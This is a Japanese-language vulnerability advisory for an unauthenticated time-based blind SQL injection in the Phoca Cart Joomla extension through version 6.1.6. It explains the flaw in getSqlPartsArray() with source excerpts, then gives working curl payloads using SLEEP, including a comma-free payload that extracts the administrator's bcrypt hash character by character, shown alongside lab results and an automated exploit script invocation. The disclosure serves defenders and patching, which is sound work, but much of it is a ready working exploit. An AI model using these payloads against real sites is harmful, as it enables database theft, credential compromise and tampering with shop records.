
Phoca Cartの属性フィルタを介した未認証SQLインジェクション - CVSS 9.3
Phoca Cart ≤ 6.1.6 — 未認証の攻撃者が時間ベースのブラインド注入によりデータベース全体を抽出
Phoca Cart の公開ショップ商品ページにおける a[](属性)および s[](仕様)GET 配列パラメータは、パラメータ化やエスケープなしで生のまま SQL の WHERE 句に連結されます。未認証の攻撃者はこれらのパラメータを通じて任意の SQL を注入でき、時間ベースのブラインド手法によりデータベース全体の抽出が可能になります。
この脆弱性は admin/libraries/phocacart/search/search.php 内の getSqlPartsArray() に存在します。この関数は IN() リストを構築する前に explode(',', $v) を呼び出しますが、結果の値をエスケープしないため、カンマを含まないペイロードはそのまま SQL クエリへ渡されます。getItemListQuery() はリクエストごとに 2 回(getTotal() + getItemList())呼び出されるため、SLEEP(N) ペイロードは 2×N 秒の観測可能な遅延を引き起こし、タイミング検出が非常に信頼性の高いものになります。
| コンポーネント | 脆弱性あり | 検証環境 | 修正版 |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
種別: SQL インジェクション — 時間ベースのブラインド(CWE-89)
必要な認証: なし — 公開エンドポイント
ファイル: admin/libraries/phocacart/search/search.php
アイテムモデルは a[] および s[] パラメータを HTTP リクエストからサニタイズなしで直接読み取ります:
SITE/MODELS/ITEMS.PHP — 92–93行目
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
これらの値は getSqlPartsArray() に転送され、各値をカンマで分割して、結果の断片を SQL の IN() 句に直接挿入します:
SEARCH.PHP — GETSQLPARTSARRAY() 318–363行目(脆弱)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
生成された SQL 断片はメインクエリに挿入されます:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
filter.php の getActiveFilterValues() は、表示レイヤー用に a[]/s[] の値へ filterValue($item, 'alphanumeric') を適用します。しかし、getSqlPartsArray() は同じパラメータを $app->getInput()->get('a', '', 'array') からサニタイズなしで新たに読み取るため、表示レイヤーの保護を完全に迂回します。
認証は不要です。 アイテムビュー(/index.php?option=com_phocacart&view=items)は公開されています。ショップに属性や仕様が設定されている必要もありません。
未認証ユーザーは資格情報なしでショッピングポータルにアクセスできます。

Burp Suite でキャプチャした生のリクエスト — ベースライン応答時間: 76ms。

a[])SLEEP(3) ペイロードが a[color] パラメータ経由で注入されます。getItemListQuery() はリクエストごとに 2 回呼び出されるため、想定される遅延は 2 × 3 = 6s です。観測結果: 7085ms — 確認済み。
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

SLEEP(3) を SLEEP(0) に置き換えると即座に応答が返り(1064ms)、遅延がネットワーク環境ではなく注入された SLEEP によるものであることが確認できます。

管理者の bcrypt ハッシュを 1 バイトずつ抽出します。重要な制約: explode(',', $v) は SQL 構築前にカンマで分割するため、ペイロードはカンマによる切り詰めを避けるために SUBSTRING(str FROM pos FOR len)(ANSI キーワード構文)を使用し、IF() の代わりに CASE WHEN ... THEN ... ELSE ... END を使用する必要があります。
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
ラボ検証 — 管理者 bcrypt ハッシュの最初の 12 文字:
| 位置 | 文字 | ASCII | 応答 | 一致 |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
抽出されたプレフィックス $2y$10$LNvt... — 完全な 60 文字の bcrypt ハッシュは約 240 リクエストで取得可能です。
同梱の exploit.py スクリプトは、上記と同じ時間ベースの手法を使用して、手動での反復なしに管理者のパスワードハッシュ全体を自動的に抽出します。
python exploit.py http://TARGET

com_phocacart がインストールされ、公開フロントエンドがあるサイトはすべて悪用可能です。INSERT / UPDATE / DELETE 文を実行でき、新しい管理者アカウントの作成や注文記録の改ざんが可能になります。